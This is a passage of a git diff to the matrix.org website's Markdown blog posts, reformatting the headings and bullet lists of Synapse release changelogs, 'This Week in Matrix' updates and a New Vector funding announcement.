([\#6004](https://github.com/matrix-org/synapse/issues/6004)) -- Ensure support users can be registered even if MAU limit is reached. ([\#6020](https://github.com/matrix-org/synapse/issues/6020)) -- Fix bug where login error was shown incorrectly on SSO fallback login. ([\#6024](https://github.com/matrix-org/synapse/issues/6024)) -- Fix bug in calculating the federation retry backoff period. ([\#6025](https://github.com/matrix-org/synapse/issues/6025)) -- Prevent exceptions being logged when extremity-cleanup events fail due to lack of user consent to the terms of service. ([\#6053](https://github.com/matrix-org/synapse/issues/6053)) -- Remove POST method from password-reset `submit_token` endpoint until we implement `submit_url` functionality. ([\#6056](https://github.com/matrix-org/synapse/issues/6056)) -- Fix logcontext spam on non-Linux platforms. ([\#6059](https://github.com/matrix-org/synapse/issues/6059)) -- Ensure query parameters in email validation links are URL-encoded. ([\#6063](https://github.com/matrix-org/synapse/issues/6063)) -- Fix a bug which caused SAML attribute maps to be overridden by defaults. ([\#6069](https://github.com/matrix-org/synapse/issues/6069)) -- Fix the logged number of updated items for the `users_set_deactivated_flag` background update. ([\#6092](https://github.com/matrix-org/synapse/issues/6092)) -- Add `sid` to `next_link` for email validation. ([\#6097](https://github.com/matrix-org/synapse/issues/6097)) -- Threepid validity checks on msisdns should not be dependent on `threepid_behaviour_email`. ([\#6104](https://github.com/matrix-org/synapse/issues/6104)) -- Ensure that servers which are not configured to support email address verification do not offer it in the registration flows. ([\#6107](https://github.com/matrix-org/synapse/issues/6107)) - - -Updates to the Docker image ---------------------------- - -- Avoid changing `UID/GID` if they are already correct. ([\#5970](https://github.com/matrix-org/synapse/issues/5970)) -- Provide `SYNAPSE_WORKER` envvar to specify python module. ([\#6058](https://github.com/matrix-org/synapse/issues/6058)) - - -Improved Documentation ----------------------- - -- Convert documentation to markdown (from rst) ([\#5849](https://github.com/matrix-org/synapse/issues/5849)) -- Update `INSTALL.md` to say that Python 2 is no longer supported. ([\#5953](https://github.com/matrix-org/synapse/issues/5953)) -- Add developer documentation for using SAML2. ([\#6032](https://github.com/matrix-org/synapse/issues/6032)) -- Add some notes on rolling back to v1.3.1. ([\#6049](https://github.com/matrix-org/synapse/issues/6049)) -- Update the upgrade notes. ([\#6050](https://github.com/matrix-org/synapse/issues/6050)) - - -Deprecations and Removals -------------------------- - -- Remove shared-secret registration from `/_matrix/client/r0/register` endpoint. Contributed by Awesome Technologies Innovationslabor GmbH. ([\#5877](https://github.com/matrix-org/synapse/issues/5877)) -- Deprecate the `trusted_third_party_id_servers` option. ([\#5875](https://github.com/matrix-org/synapse/issues/5875)) - - -Internal Changes ----------------- - -- Lay the groundwork for structured logging output. ([\#5680](https://github.com/matrix-org/synapse/issues/5680)) -- Retry well-known lookup before the cache expires, giving a grace period where the remote well-known can be down but we still use the old result. ([\#5844](https://github.com/matrix-org/synapse/issues/5844)) -- Remove log line for debugging issue #5407. ([\#5860](https://github.com/matrix-org/synapse/issues/5860)) -- Refactor the Appservice scheduler code. ([\#5886](https://github.com/matrix-org/synapse/issues/5886)) -- Compatibility with v2 Identity Service APIs other than /lookup. ([\#5892](https://github.com/matrix-org/synapse/issues/5892), [\#6013](https://github.com/matrix-org/synapse/issues/6013)) -- Stop populating some unused tables. ([\#5893](https://github.com/matrix-org/synapse/issues/5893), [\#6047](https://github.com/matrix-org/synapse/issues/6047)) -- Add missing index on `users_in_public_rooms` to improve the performance of directory queries. ([\#5894](https://github.com/matrix-org/synapse/issues/5894)) -- Improve the logging when we have an error when fetching signing keys. ([\#5896](https://github.com/matrix-org/synapse/issues/5896)) -- Add support for database engine-specific schema deltas, based on file extension. ([\#5911](https://github.com/matrix-org/synapse/issues/5911)) -- Update Buildkite pipeline to use plugins instead of buildkite-agent commands. ([\#5922](https://github.com/matrix-org/synapse/issues/5922)) -- Add link in sample config to the logging config schema. ([\#5926](https://github.com/matrix-org/synapse/issues/5926)) -- Remove unnecessary parentheses in return statements. ([\#5931](https://github.com/matrix-org/synapse/issues/5931)) -- Remove unused `jenkins/prepare_sytest.sh` file. ([\#5938](https://github.com/matrix-org/synapse/issues/5938)) -- Move Buildkite pipeline config to the pipelines repo. ([\#5943](https://github.com/matrix-org/synapse/issues/5943)) -- Remove unnecessary return statements in the codebase which were the result of a regex run. ([\#5962](https://github.com/matrix-org/synapse/issues/5962)) -- Remove left-over methods from v1 registration API. ([\#5963](https://github.com/matrix-org/synapse/issues/5963)) -- Cleanup event auth type initialisation. ([\#5975](https://github.com/matrix-org/synapse/issues/5975)) -- Clean up dependency checking at setup. ([\#5989](https://github.com/matrix-org/synapse/issues/5989)) -- Update OpenTracing docs to use the unified `trace` method. ([\#5776](https://github.com/matrix-org/synapse/issues/5776)) -- Small refactor of function arguments and docstrings in` RoomMemberHandler`. ([\#6009](https://github.com/matrix-org/synapse/issues/6009)) -- Remove unused `origin` argument on `FederationHandler.add_display_name_to_third_party_invite`. ([\#6010](https://github.com/matrix-org/synapse/issues/6010)) -- Add a `failure_ts` column to the `destinations` database table. ([\#6016](https://github.com/matrix-org/synapse/issues/6016), [\#6072](https://github.com/matrix-org/synapse/issues/6072)) -- Clean up some code in the retry logic. ([\#6017](https://github.com/matrix-org/synapse/issues/6017)) -- Fix the structured logging tests stomping on the global log configuration for subsequent tests. ([\#6023](https://github.com/matrix-org/synapse/issues/6023)) -- Clean up the sample config for SAML authentication. ([\#6064](https://github.com/matrix-org/synapse/issues/6064)) -- Change mailer logging to reflect Synapse doesn't just do chat notifications by email now. ([\#6075](https://github.com/matrix-org/synapse/issues/6075)) -- Move last-seen info into devices table. ([\#6089](https://github.com/matrix-org/synapse/issues/6089)) -- Remove unused parameter to `get_user_id_by_threepid`. ([\#6099](https://github.com/matrix-org/synapse/issues/6099)) -- Refactor the user-interactive auth handling. ([\#6105](https://github.com/matrix-org/synapse/issues/6105)) -- Refactor code for calculating registration flows. ([\#6106](https://github.com/matrix-org/synapse/issues/6106)) +### Features + +* Changes to 3pid verification: + * Add the ability to send registration emails from the homeserver rather than delegating to an identity server. ([\#5835](https://github.com/matrix-org/synapse/issues/5835), [\#5940](https://github.com/matrix-org/synapse/issues/5940), [\#5993](https://github.com/matrix-org/synapse/issues/5993), [\#5994](https://github.com/matrix-org/synapse/issues/5994), [\#5868](https://github.com/matrix-org/synapse/issues/5868)) + * Replace `trust_identity_server_for_password_resets` config option with `account_threepid_delegates`, and make the `id_server` parameteter optional on `*/requestToken` endpoints, as per [MSC2263](https://github.com/matrix-org/matrix-doc/pull/2263). ([\#5876](https://github.com/matrix-org/synapse/issues/5876), [\#5969](https://github.com/matrix-org/synapse/issues/5969), [\#6028](https://github.com/matrix-org/synapse/issues/6028)) + * Switch to using the v2 Identity Service `/lookup` API where available, with fallback to v1. (Implements [MSC2134](https://github.com/matrix-org/matrix-doc/pull/2134) plus `id_access_token authentication` for v2 Identity Service APIs from [MSC2140](https://github.com/matrix-org/matrix-doc/pull/2140)). ([\#5897](https://github.com/matrix-org/synapse/issues/5897)) + * Remove `bind_email` and `bind_msisdn` parameters from `/register` ala [MSC2140](https://github.com/matrix-org/matrix-doc/pull/2140). ([\#5964](https://github.com/matrix-org/synapse/issues/5964)) + * Add `m.id_access_token` to `unstable_features` in `/versions` as per [MSC2264](https://github.com/matrix-org/matrix-doc/pull/2264). ([\#5974](https://github.com/matrix-org/synapse/issues/5974)) + * Use the v2 Identity Service API for 3PID invites. ([\#5979](https://github.com/matrix-org/synapse/issues/5979)) + * Add `POST /_matrix/client/unstable/account/3pid/unbind` endpoint from [MSC2140](https://github.com/matrix-org/matrix-doc/pull/2140) for unbinding a 3PID from an identity server without removing it from the homeserver user account. ([\#5980](https://github.com/matrix-org/synapse/issues/5980), [\#6062](https://github.com/matrix-org/synapse/issues/6062)) + * Use `account_threepid_delegate.email` and `account_threepid_delegate.msisdn` for validating threepid sessions. ([\#6011](https://github.com/matrix-org/synapse/issues/6011)) + * Allow homeserver to handle or delegate email validation when adding an email to a user's account. ([\#6042](https://github.com/matrix-org/synapse/issues/6042)) + * Implement new Client Server API endpoints `/account/3pid/add` and `/account/3pid/bind` as per [MSC2290](https://github.com/matrix-org/matrix-doc/pull/2290). ([\#6043](https://github.com/matrix-org/synapse/issues/6043)) + * Add an unstable feature flag for separate add/bind 3pid APIs. ([\#6044](https://github.com/matrix-org/synapse/issues/6044)) + * Remove `bind` parameter from Client Server POST `/account` endpoint as per [MSC2290](https://github.com/matrix-org/matrix-doc/pull/2290/). ([\#6067](https://github.com/matrix-org/synapse/issues/6067)) + * Add `POST /add_threepid/msisdn/submit_token` endpoint for proxying submitToken on an `account_threepid_handler`. ([\#6078](https://github.com/matrix-org/synapse/issues/6078)) + * Add `submit_url` response parameter to `*/msisdn/requestToken` endpoints. ([\#6079](https://github.com/matrix-org/synapse/issues/6079)) + * Add `m.require_identity_server` flag to /version's unstable_features. ([\#5972](https://github.com/matrix-org/synapse/issues/5972)) +* Enhancements to OpenTracing support: + * Make OpenTracing work in worker mode. ([\#5771](https://github.com/matrix-org/synapse/issues/5771)) + * Pass OpenTracing contexts between servers when transmitting EDUs. ([\#5852](https://github.com/matrix-org/synapse/issues/5852)) + * OpenTracing for device list updates. ([\#5853](https://github.com/matrix-org/synapse/issues/5853)) + * Add a tag recording a request's authenticated entity and corresponding servlet in OpenTracing. ([\#5856](https://github.com/matrix-org/synapse/issues/5856)) + * Add minimum OpenTracing for client servlets. ([\#5983](https://github.com/matrix-org/synapse/issues/5983)) + * Check at setup that OpenTracing is installed if it's enabled in the config. ([\#5985](https://github.com/matrix-org/synapse/issues/5985)) + * Trace replication send times. ([\#5986](https://github.com/matrix-org/synapse/issues/5986)) + * Include missing OpenTracing contexts in outbout replication requests. ([\#5982](https://github.com/matrix-org/synapse/issues/5982)) + * Fix sending of EDUs when OpenTracing is enabled with an empty whitelist. ([\#5984](https://github.com/matrix-org/synapse/issues/5984)) + * Fix invalid references to None while OpenTracing if the log context slips. ([\#5988](https://github.com/matrix-org/synapse/issues/5988), [\#5991](https://github.com/matrix-org/synapse/issues/5991)) + * OpenTracing for room and e2e keys. ([\#5855](https://github.com/matrix-org/synapse/issues/5855)) + * Add OpenTracing span over HTTP push processing. ([\#6003](https://github.com/matrix-org/synapse/issues/6003)) +* Add an admin API to purge old rooms from the database. ([\#5845](https://github.com/matrix-org/synapse/issues/5845)) +* Retry well-known lookups if we have recently seen a valid well-known record for the server. ([\#5850](https://github.com/matrix-org/synapse/issues/5850)) +* Add support for filtered room-directory search requests over federation ([MSC2197](https://github.com/matrix-org/matrix-doc/pull/2197), in order to allow upcoming room directory query performance improvements. ([\#5859](https://github.com/matrix-org/synapse/issues/5859)) +* Correctly retry all hosts returned from SRV when we fail to connect. ([\#5864](https://github.com/matrix-org/synapse/issues/5864)) +* Add admin API endpoint for setting whether or not a user is a server administrator. ([\#5878](https://github.com/matrix-org/synapse/issues/5878)) +* Enable cleaning up extremities with dummy events by default to prevent undue build up of forward extremities. ([\#5884](https://github.com/matrix-org/synapse/issues/5884)) +* Add config option to sign remote key query responses with a separate key. ([\#5895](https://github.com/matrix-org/synapse/issues/5895)) +* Add support for config templating. ([\#5900](https://github.com/matrix-org/synapse/issues/5900)) +* Users with the type of "support" or "bot" are no longer required to consent. ([\#5902](https://github.com/matrix-org/synapse/issues/5902)) +* Let synctl accept a directory of config files. ([\#5904](https://github.com/matrix-org/synapse/issues/5904)) +* Increase max display name size to 256. ([\#5906](https://github.com/matrix-org/synapse/issues/5906)) +* Add admin API endpoint for getting whether or not a user is a server administrator. ([\#5914](https://github.com/matrix-org/synapse/issues/5914)) +* Redact events in the database that have been redacted for a week. ([\#5934](https://github.com/matrix-org/synapse/issues/5934)) +* New prometheus metrics: + * `synapse_federation_known_servers`: represents the total number of servers your server knows about (i.e. is in rooms with), including itself. Enable by setting `metrics_flags.known_servers` to True in the configuration.([\#5981](https://github.com/matrix-org/synapse/issues/5981)) + * `synapse_build_info`: exposes the Python version, OS version, and Synapse version of the running server. ([\#6005](https://github.com/matrix-org/synapse/issues/6005)) +* Give appropriate exit codes when synctl fails. ([\#5992](https://github.com/matrix-org/synapse/issues/5992)) +* Apply the federation blacklist to requests to identity servers. ([\#6000](https://github.com/matrix-org/synapse/issues/6000)) +* Add `report_stats_endpoint` option to configure where stats are reported to, if enabled. Contributed by @Sorunome. ([\#6012](https://github.com/matrix-org/synapse/issues/6012)) +* Add config option to increase ratelimits for room admins redacting messages. ([\#6015](https://github.com/matrix-org/synapse/issues/6015)) +* Stop sending federation transactions to servers which have been down for a long time. ([\#6026](https://github.com/matrix-org/synapse/issues/6026)) +* Make the process for mapping SAML2 users to matrix IDs more flexible. ([\#6037](https://github.com/matrix-org/synapse/issues/6037)) +* Return a clearer error message when a timeout occurs when attempting to contact an identity server. ([\#6073](https://github.com/matrix-org/synapse/issues/6073)) +* Prevent password reset's submit_token endpoint from accepting trailing slashes. ([\#6074](https://github.com/matrix-org/synapse/issues/6074)) +* Return 403 on `/register/available` if registration has been disabled. ([\#6082](https://github.com/matrix-org/synapse/issues/6082)) +* Explicitly log when a homeserver does not have the `trusted_key_servers` config field configured. ([\#6090](https://github.com/matrix-org/synapse/issues/6090)) +* Add support for pruning old rows in `user_ips` table. ([\#6098](https://github.com/matrix-org/synapse/issues/6098)) + +### Bugfixes + +* Don't create broken room when `power_level_content_override.users` does not contain `creator_id`. ([\#5633](https://github.com/matrix-org/synapse/issues/5633)) +* Fix database index so that different backup versions can have the same sessions. ([\#5857](https://github.com/matrix-org/synapse/issues/5857)) +* Fix Synapse looking for config options `password_reset_failure_template` and `password_reset_success_template`, when they are actually `password_reset_template_failure_html`, `password_reset_template_success_html`. ([\#5863](https://github.com/matrix-org/synapse/issues/5863)) +* Fix stack overflow when recovering an appservice which had an outage. ([\#5885](https://github.com/matrix-org/synapse/issues/5885)) +* Fix error message which referred to `public_base_url` instead of `public_baseurl`. Thanks to @aaronraimist for the fix! ([\#5909](https://github.com/matrix-org/synapse/issues/5909)) +* Fix 404 for thumbnail download when `dynamic_thumbnails` is `false` and the thumbnail was dynamically generated. Fix reported by rkfg. ([\#5915](https://github.com/matrix-org/synapse/issues/5915)) +* Fix a cache-invalidation bug for worker-based deployments. ([\#5920](https://github.com/matrix-org/synapse/issues/5920)) +* Fix admin API for listing media in a room not being available with an external media repo. ([\#5966](https://github.com/matrix-org/synapse/issues/5966)) +* Fix list media admin API always returning an error. ([\#5967](https://github.com/matrix-org/synapse/issues/5967)) +* Fix room and user stats tracking. ([\#5971](https://github.com/matrix-org/synapse/issues/5971), [\#5998](https://github.com/matrix-org/synapse/issues/5998), [\#6029](https://github.com/matrix-org/synapse/issues/6029)) +* Return a `M_MISSING_PARAM` if `sid` is not provided to `/account/3pid`. ([\#5995](https://github.com/matrix-org/synapse/issues/5995)) +* `federation_certificate_verification_whitelist` now will not cause `TypeErrors` to be raised (a regression in 1.3). Additionally, it now supports internationalised domain names in their non-canonical representation. ([\#5996](https://github.com/matrix-org/synapse/issues/5996)) +* Only count real users when checking for auto-creation of auto-join room. ([\#6004](https://github.com/matrix-org/synapse/issues/6004)) +* Ensure support users can be registered even if MAU limit is reached. ([\#6020](https://github.com/matrix-org/synapse/issues/6020)) +* Fix bug where login error was shown incorrectly on SSO fallback login. ([\#6024](https://github.com/matrix-org/synapse/issues/6024)) +* Fix bug in calculating the federation retry backoff period. ([\#6025](https://github.com/matrix-org/synapse/issues/6025)) +* Prevent exceptions being logged when extremity-cleanup events fail due to lack of user consent to the terms of service. ([\#6053](https://github.com/matrix-org/synapse/issues/6053)) +* Remove POST method from password-reset `submit_token` endpoint until we implement `submit_url` functionality. ([\#6056](https://github.com/matrix-org/synapse/issues/6056)) +* Fix logcontext spam on non-Linux platforms. ([\#6059](https://github.com/matrix-org/synapse/issues/6059)) +* Ensure query parameters in email validation links are URL-encoded. ([\#6063](https://github.com/matrix-org/synapse/issues/6063)) +* Fix a bug which caused SAML attribute maps to be overridden by defaults. ([\#6069](https://github.com/matrix-org/synapse/issues/6069)) +* Fix the logged number of updated items for the `users_set_deactivated_flag` background update. ([\#6092](https://github.com/matrix-org/synapse/issues/6092)) +* Add `sid` to `next_link` for email validation. ([\#6097](https://github.com/matrix-org/synapse/issues/6097)) +* Threepid validity checks on msisdns should not be dependent on `threepid_behaviour_email`. ([\#6104](https://github.com/matrix-org/synapse/issues/6104)) +* Ensure that servers which are not configured to support email address verification do not offer it in the registration flows. ([\#6107](https://github.com/matrix-org/synapse/issues/6107)) + +### Updates to the Docker image + +* Avoid changing `UID/GID` if they are already correct. ([\#5970](https://github.com/matrix-org/synapse/issues/5970)) +* Provide `SYNAPSE_WORKER` envvar to specify python module. ([\#6058](https://github.com/matrix-org/synapse/issues/6058)) + +### Improved Documentation + +* Convert documentation to markdown (from rst) ([\#5849](https://github.com/matrix-org/synapse/issues/5849)) +* Update `INSTALL.md` to say that Python 2 is no longer supported. ([\#5953](https://github.com/matrix-org/synapse/issues/5953)) +* Add developer documentation for using SAML2. ([\#6032](https://github.com/matrix-org/synapse/issues/6032)) +* Add some notes on rolling back to v1.3.1. ([\#6049](https://github.com/matrix-org/synapse/issues/6049)) +* Update the upgrade notes. ([\#6050](https://github.com/matrix-org/synapse/issues/6050)) + +### Deprecations and Removals + +* Remove shared-secret registration from `/_matrix/client/r0/register` endpoint. Contributed by Awesome Technologies Innovationslabor GmbH. ([\#5877](https://github.com/matrix-org/synapse/issues/5877)) +* Deprecate the `trusted_third_party_id_servers` option. ([\#5875](https://github.com/matrix-org/synapse/issues/5875)) + +### Internal Changes + +* Lay the groundwork for structured logging output. ([\#5680](https://github.com/matrix-org/synapse/issues/5680)) +* Retry well-known lookup before the cache expires, giving a grace period where the remote well-known can be down but we still use the old result. ([\#5844](https://github.com/matrix-org/synapse/issues/5844)) +* Remove log line for debugging issue #5407. ([\#5860](https://github.com/matrix-org/synapse/issues/5860)) +* Refactor the Appservice scheduler code. ([\#5886](https://github.com/matrix-org/synapse/issues/5886)) +* Compatibility with v2 Identity Service APIs other than /lookup. ([\#5892](https://github.com/matrix-org/synapse/issues/5892), [\#6013](https://github.com/matrix-org/synapse/issues/6013)) +* Stop populating some unused tables. ([\#5893](https://github.com/matrix-org/synapse/issues/5893), [\#6047](https://github.com/matrix-org/synapse/issues/6047)) +* Add missing index on `users_in_public_rooms` to improve the performance of directory queries. ([\#5894](https://github.com/matrix-org/synapse/issues/5894)) +* Improve the logging when we have an error when fetching signing keys. ([\#5896](https://github.com/matrix-org/synapse/issues/5896)) +* Add support for database engine-specific schema deltas, based on file extension. ([\#5911](https://github.com/matrix-org/synapse/issues/5911)) +* Update Buildkite pipeline to use plugins instead of buildkite-agent commands. ([\#5922](https://github.com/matrix-org/synapse/issues/5922)) +* Add link in sample config to the logging config schema. ([\#5926](https://github.com/matrix-org/synapse/issues/5926)) +* Remove unnecessary parentheses in return statements. ([\#5931](https://github.com/matrix-org/synapse/issues/5931)) +* Remove unused `jenkins/prepare_sytest.sh` file. ([\#5938](https://github.com/matrix-org/synapse/issues/5938)) +* Move Buildkite pipeline config to the pipelines repo. ([\#5943](https://github.com/matrix-org/synapse/issues/5943)) +* Remove unnecessary return statements in the codebase which were the result of a regex run. ([\#5962](https://github.com/matrix-org/synapse/issues/5962)) +* Remove left-over methods from v1 registration API. ([\#5963](https://github.com/matrix-org/synapse/issues/5963)) +* Cleanup event auth type initialisation. ([\#5975](https://github.com/matrix-org/synapse/issues/5975)) +* Clean up dependency checking at setup. ([\#5989](https://github.com/matrix-org/synapse/issues/5989)) +* Update OpenTracing docs to use the unified `trace` method. ([\#5776](https://github.com/matrix-org/synapse/issues/5776)) +* Small refactor of function arguments and docstrings in`RoomMemberHandler`. ([\#6009](https://github.com/matrix-org/synapse/issues/6009)) +* Remove unused `origin` argument on `FederationHandler.add_display_name_to_third_party_invite`. ([\#6010](https://github.com/matrix-org/synapse/issues/6010)) +* Add a `failure_ts` column to the `destinations` database table. ([\#6016](https://github.com/matrix-org/synapse/issues/6016), [\#6072](https://github.com/matrix-org/synapse/issues/6072)) +* Clean up some code in the retry logic. ([\#6017](https://github.com/matrix-org/synapse/issues/6017)) +* Fix the structured logging tests stomping on the global log configuration for subsequent tests. ([\#6023](https://github.com/matrix-org/synapse/issues/6023)) +* Clean up the sample config for SAML authentication. ([\#6064](https://github.com/matrix-org/synapse/issues/6064)) +* Change mailer logging to reflect Synapse doesn't just do chat notifications by email now. ([\#6075](https://github.com/matrix-org/synapse/issues/6075)) +* Move last-seen info into devices table. ([\#6089](https://github.com/matrix-org/synapse/issues/6089)) +* Remove unused parameter to `get_user_id_by_threepid`. ([\#6099](https://github.com/matrix-org/synapse/issues/6099)) +* Refactor the user-interactive auth handling. ([\#6105](https://github.com/matrix-org/synapse/issues/6105)) +* Refactor code for calculating registration flows. ([\#6106](https://github.com/matrix-org/synapse/issues/6106)) diff --git a/content/blog/2019/10/2019-10-04-this-week-in-matrix-2019-10-04.md b/content/blog/2019/10/2019-10-04-this-week-in-matrix-2019-10-04.md index 2a9095d95..9e42bd6af 100644 --- a/content/blog/2019/10/2019-10-04-this-week-in-matrix-2019-10-04.md +++ b/content/blog/2019/10/2019-10-04-this-week-in-matrix-2019-10-04.md @@ -93,7 +93,7 @@ From Benoit: > > * Catching up on riot-web new Privacy Controls (choose identity server, stun server, securely compare contacts) > * [fdroid only] A new background sync mode for notifications. You can now choose between 'optimized for battery' and 'optimize for realtime' -> * build available on buildkite +> * build available on buildkite > > RiotX: > diff --git a/content/blog/2019/10/2019-10-10-new-vector-raises-8-5m-to-accelerate-matrix-riot-modular.md b/content/blog/2019/10/2019-10-10-new-vector-raises-8-5m-to-accelerate-matrix-riot-modular.md index 94e92f73f..2bcbb88c7 100644 --- a/content/blog/2019/10/2019-10-10-new-vector-raises-8-5m-to-accelerate-matrix-riot-modular.md +++ b/content/blog/2019/10/2019-10-10-new-vector-raises-8-5m-to-accelerate-matrix-riot-modular.md @@ -38,31 +38,31 @@ creating RiotX/Android; and launching the Modular.im hosting platform. With today’s new funding, the priorities for Matrix will be: - * Turning on end-to-end encryption by default for DMs +* Turning on end-to-end encryption by default for DMs - * Much better support for grouping rooms into Communities +* Much better support for grouping rooms into Communities - * More anti-abuse/anti-spam mechanisms +* More anti-abuse/anti-spam mechanisms - * Shrinking Synapse (and/or finishing Dendrite) +* Shrinking Synapse (and/or finishing Dendrite) - * Canonical DMs (having one DM per user, and have them feel clearly distinct from ‘rooms’) +* Canonical DMs (having one DM per user, and have them feel clearly distinct from ‘rooms’) - * Extensible Profiles +* Extensible Profiles - * Decentralised accounts +* Decentralised accounts - * Threading +* Threading - * ...and furthering development on P2P Matrix, so users can have full control of their communications without having to run or trust a server. +* ...and furthering development on P2P Matrix, so users can have full control of their communications without having to run or trust a server. -On the New Vector side, this funding will support: +On the New Vector side, this funding will support: - * A whole new wave of UX improvements to Riot (particularly around onboarding and first time user experience). +* A whole new wave of UX improvements to Riot (particularly around onboarding and first time user experience). - * Making Modular hosting as polished and powerful as possible. +* Making Modular hosting as polished and powerful as possible. - * Creating a whole new set of next-generation Modular integrations. +* Creating a whole new set of next-generation Modular integrations. While New Vector’s contributions to the Matrix ecosystem can’t be ignored, it’s important to remember that the Matrix protocol and specification itself @@ -77,9 +77,9 @@ interest with commercial Matrix endeavours, including New Vector. That said, New Vector would not be taking money from any investors if they did not believe their goals are aligned with Matrix's. To clarify: -* Matrix exists to create an open secure decentralised communication network and protocol for the benefit of all. -* New Vector exists to help grow Matrix and be one of many successful companies in the Matrix ecosystem. -* Tech VCs exist to invest their money in growing companies in order to get a return when the company IPOs or gets bought. +* Matrix exists to create an open secure decentralised communication network and protocol for the benefit of all. +* New Vector exists to help grow Matrix and be one of many successful companies in the Matrix ecosystem. +* Tech VCs exist to invest their money in growing companies in order to get a return when the company IPOs or gets bought. It turns out that these goals are not incompatible if one understands that the potential of the Matrix ecosystem is directly linked to its openness and size @@ -144,9 +144,8 @@ supporting Matrix, whether by donating to the Foundation, promoting and using the protocol, or contributing code to the ecosystem. You are the ones keeping the dream alive :) -You can read things from the NV angle over at https://blog.vector.im/8-5m-to-accelerate-matrix/. +You can read things from the NV angle over at . We hope you’re as excited as we are to open a whole new chapter as Matrix picks up yet more momentum :D -- Matthew, Amandine, and the whole Matrix team - diff --git a/content/blog/2019/10/2019-10-18-synapse-1-4-1-released.md b/content/blog/2019/10/2019-10-18-synapse-1-4-1-released.md index feaac1987..48a20e71a 100644 --- a/content/blog/2019/10/2019-10-18-synapse-1-4-1-released.md +++ b/content/blog/2019/10/2019-10-18-synapse-1-4-1-released.md @@ -18,16 +18,12 @@ As always, you can get the new update [here](https://github.com/matrix-org/synap The changelog since 1.4.0 follows: -Synapse 1.4.1 (2019-10-18) -========================== +## Synapse 1.4.1 (2019-10-18) No changes since 1.4.1rc1. +## Synapse 1.4.1rc1 (2019-10-17) -Synapse 1.4.1rc1 (2019-10-17) -============================= - -Bugfixes --------- +### Bugfixes - Fix bug where redacted events were sometimes incorrectly censored in the database, breaking APIs that attempted to fetch such events. ([\#6185](https://github.com/matrix-org/synapse/issues/6185), [5b0e9948](https://github.com/matrix-org/synapse/commit/5b0e9948eaae801643e594b5abc8ee4b10bd194e)) diff --git a/content/blog/2019/10/2019-10-18-this-week-in-matrix-2019-10-18.md b/content/blog/2019/10/2019-10-18-this-week-in-matrix-2019-10-18.md index fbe225756..38a616aa4 100644 --- a/content/blog/2019/10/2019-10-18-this-week-in-matrix-2019-10-18.md +++ b/content/blog/2019/10/2019-10-18-this-week-in-matrix-2019-10-18.md @@ -92,11 +92,12 @@ Remember from last week? Now available on IPFS! > Heya, [matrix-3ds-sdk](https://github.com/Sorunome/matrix-3ds-sdk/) is a new matrix sdk - for the Nintendo 3DS! It is still deep in development, so expect bugs, some things not working properly etc. > Current features include: -> - logging in -> - sending text messages to rooms -> - redacting events from rooms -> - resolving aliases to room ids -> - basic framework to get a /sync loop working +> +> * logging in +> * sending text messages to rooms +> * redacting events from rooms +> * resolving aliases to room ids +> * basic framework to get a /sync loop working > > If you are into 3DS homebrew development or are interested in helping out making a full client based on this, please contact soru (@sorunome:sorunome.de)! 3ds homebrew dev is pretty new to her, so there are plenty of open questions / debugging help would be great! > @@ -144,11 +145,11 @@ A special section this week from the guy with one editor open for everything, [t > I haven't done anything on my own projects this week, but I did contribute to a bunch of other projects: > -> * Updated SmsMatrix to the latest matrix-android-sdk to fix outgoing sms duplication bug (https://github.com/tijder/SmsMatrix/pull/60) -> * Fixed Riot web sending reply fallbacks in edited message content (https://github.com/matrix-org/matrix-react-sdk/pull/3551) -> * Fixed some things in the Riot web edit html -> markdown parsing (https://github.com/matrix-org/matrix-react-sdk/pull/3552) -> * Made Riot web reply rendering much nicer and more compact (https://github.com/matrix-org/matrix-react-sdk/pull/3553) -> * Added full emoji picker for reactions to Riot web (https://github.com/matrix-org/matrix-react-sdk/pull/3554) +> * Updated SmsMatrix to the latest matrix-android-sdk to fix outgoing sms duplication bug () +> * Fixed Riot web sending reply fallbacks in edited message content () +> * Fixed some things in the Riot web edit html -> markdown parsing () +> * Made Riot web reply rendering much nicer and more compact () +> * Added full emoji picker for reactions to Riot web () > > The first two are already merged (and SmsMatrix even got a new release on f-droid), the html parsing is waiting for code review and the emoji picker and reply rendering are waiting for design review. > diff --git a/content/blog/2019/10/2019-10-26-this-week-in-matrix-2019-10-26.md b/content/blog/2019/10/2019-10-26-this-week-in-matrix-2019-10-26.md index 81841b707..166aac534 100644 --- a/content/blog/2019/10/2019-10-26-this-week-in-matrix-2019-10-26.md +++ b/content/blog/2019/10/2019-10-26-this-week-in-matrix-2019-10-26.md @@ -63,6 +63,7 @@ Public service notice from vdh: From [sorunome](https://matrix.to/#/@sorunome:sorunome.de), this crazy 3DS project! > [Miitrix](https://github.com/Sorunome/miitrix) is a client for the Nintendo 3DS, using the matrix-3ds-sdk! [Here](https://www.youtube.com/watch?v=9K2SNLOh4pY) is an early demonstration video. The current featureset includes: +> > * Sorting room list by last messages > * Room name fallbacks (canonical alias, joined members) > * sending messages @@ -103,6 +104,7 @@ From [sorunome](https://matrix.to/#/@sorunome:sorunome.de), this crazy 3DS proje > > We are still working on 2 fronts: +> > * fixing most important issues in our stabilisation sprint > * privacy project: Adding an email or phone number is now protected by a password (if your homeserver requests this authentication) @@ -125,6 +127,7 @@ From [sorunome](https://matrix.to/#/@sorunome:sorunome.de), this crazy 3DS proje [sorunome](https://matrix.to/#/@sorunome:sorunome.de) offered: > A lot has happened on the side of [matrix-3ds-sdk](https://github.com/Sorunome/matrix-3ds-sdk). So much so, that it is possible now to write clients out of it! The changelog includes: +> > * fetching member info > * fetching room info > * proper sync loop diff --git a/content/blog/2019/10/2019-10-29-synapse-1-5-0-released.md b/content/blog/2019/10/2019-10-29-synapse-1-5-0-released.md index e7c2dcc02..c2cb65d63 100644 --- a/content/blog/2019/10/2019-10-29-synapse-1-5-0-released.md +++ b/content/blog/2019/10/2019-10-29-synapse-1-5-0-released.md @@ -21,43 +21,32 @@ As ever, you can get the new update [here](https://github.com/matrix-org/synapse The changelog since 1.4.1 follows: -Synapse 1.5.0 (2019-10-29) -========================== +## Synapse 1.5.0 (2019-10-29) -Security updates ----------------- +### Security updates This release includes a security fix ([\#6262](https://github.com/matrix-org/synapse/issues/6262), below). Administrators are encouraged to upgrade as soon as possible. -Bugfixes --------- +### Bugfixes - Fix bug where room directory search was case sensitive. ([\#6268](https://github.com/matrix-org/synapse/issues/6268)) +## Synapse 1.5.0rc2 (2019-10-28) -Synapse 1.5.0rc2 (2019-10-28) -============================= - -Bugfixes --------- +### Bugfixes - Update list of boolean columns in `synapse_port_db`. ([\#6247](https://github.com/matrix-org/synapse/issues/6247)) - Fix /keys/query API on workers. ([\#6256](https://github.com/matrix-org/synapse/issues/6256)) - 